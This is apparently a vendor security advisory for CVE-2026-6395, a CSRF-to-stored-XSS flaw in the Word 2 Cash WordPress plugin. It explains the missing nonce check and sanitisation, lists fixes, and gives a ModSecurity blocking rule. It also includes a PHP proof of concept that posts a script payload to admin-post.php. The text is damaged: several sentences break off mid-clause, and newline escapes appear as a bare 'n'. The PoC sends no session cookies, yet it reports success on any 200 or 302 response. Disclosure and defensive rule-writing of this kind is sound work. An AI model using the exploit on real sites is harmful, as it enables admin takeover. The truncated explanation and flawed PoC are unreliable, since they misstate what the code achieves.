Atomic Edge analysis of CVE-2026-6395 (metadata-based):
This vulnerability is a chain of Cross-Site Request Forgery (CSRF) leading to Stored Cross-Site Scripting (XSS) in the Word 2 Cash plugin for WordPress, up to version 0.9.2. The flaw affects the plugin’s settings handler function w2c_admin(). An unauthenticated attacker can trick a logged-in administrator into submitting a crafted request, which silently saves arbitrary JavaScript into the plugin’s settings. The script then executes automatically in the WordPress admin panel whenever the settings page is loaded. The CVSS score is 6.1 (Medium), reflecting the requirement for user interaction and the limited scope change (confidentiality and integrity impacts within the admin panel).
The root cause is the complete absence of nonce verification on the settings save handler (w2c_admin()), as confirmed by the CVE description. Additionally, the plugin does not sanitize the w2c-definitions POST parameter before storing it via update_option(), nor does it escape the stored value before echoing it inside a
To exploit this flaw, an attacker constructs a malicious HTML form or a cross-origin request that targets the vulnerable endpoint. The attacker does not need authentication. The request must be sent to the WordPress admin area, likely via /wp-admin/admin-post.php?action=w2c_settings_action or a custom handler registered by the plugin. The request includes the POST parameter w2c-definitions with a JavaScript payload. Because the plugin saves this raw string via update_option() and renders it without escaping in a
The fix requires three changes in the plugin’s code. First, add a nonce check using wp_verify_nonce() in the w2c_admin() function before processing the saved data, with a corresponding wp_nonce_field() in the settings form. Second, sanitize the w2c-definitions input before storage using a function like sanitize_text_field() or wp_kses_post() depending on the expected content. Third, escape the stored value when outputting it in the
If exploited, this vulnerability allows an attacker to inject arbitrary JavaScript into the WordPress admin panel. The script runs in the context of the logged-in administrator, enabling actions such as creating new admin users, modifying plugin settings, injecting backdoors, or exfiltrating sensitive data (e.g., session cookies, database credentials). While the CVSS scope change indicates the attacker cannot directly pivot to other resources, the stored XSS within the admin panel effectively compromises the site. An attacker can leverage the stored script to perform further attacks, including complete site takeover, by abusing the victim’s administrative session.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6395 (metadata-based)
# Blocks CSRF attempts targeting Word 2 Cash settings handler with malicious payload
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php"
"id:20263951,phase:2,deny,status:403,chain,msg:'CVE-2026-6395 - Word 2 Cash CSRF to XSS via w2c-definitions',severity:'CRITICAL',tag:'CVE-2026-6395'"
SecRule ARGS_POST:action "@streq w2c_settings_action"
"chain"
SecRule ARGS_POST:w2c-definitions "@rx <script[^>]*>"
"t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6395 - Word 2 Cash <= 0.9.2 - CSRF to Stored XSS via Settings Page
/**
* This PoC demonstrates how an attacker can trigger a CSRF request on behalf of an admin
* to store an XSS payload in the plugin's settings. It assumes the vulnerable endpoint
* is /wp-admin/admin-post.php?action=w2c_settings_action or similar.
* The payload is saved into the WordPress option 'w2c-definitions' and rendered unescaped
* in a <textarea> on the settings page.
*/
$target_url = 'http://example.com'; // Change to the target WordPress site URL
$admin_url = $target_url . '/wp-admin/admin-post.php';
$action = 'w2c_settings_action'; // Inferred action hook, adjust if different
// XSS payload that will be stored and executed when admin visits the settings page
$payload = '<script>alert("XSS by Atomic Edge");</script>';
// Craft the POST data exactly as the vulnerable handler expects
$post_data = array(
'action' => $action,
'w2c-definitions' => $payload
);
// Initialize cURL session to the admin POST handler
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
// Do not set any cookies - this PoC simulates an unauthenticated CSRF attack
// In a real attack, the request would be forged via a victim's browser session
// Send the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: " . $http_code . "n";
if ($http_code == 302 || $http_code == 200) {
echo "[+] CSRF request sent successfully. The XSS payload has been stored.n";
echo "[+] Payload: " . $payload . "n";
echo "[+] Trigger: Have an admin visit the Word 2 Cash settings page to execute the script.n";
} else {
echo "[-] Request failed. The endpoint or action may differ. Adjust the PoC accordingly.n";
}
?>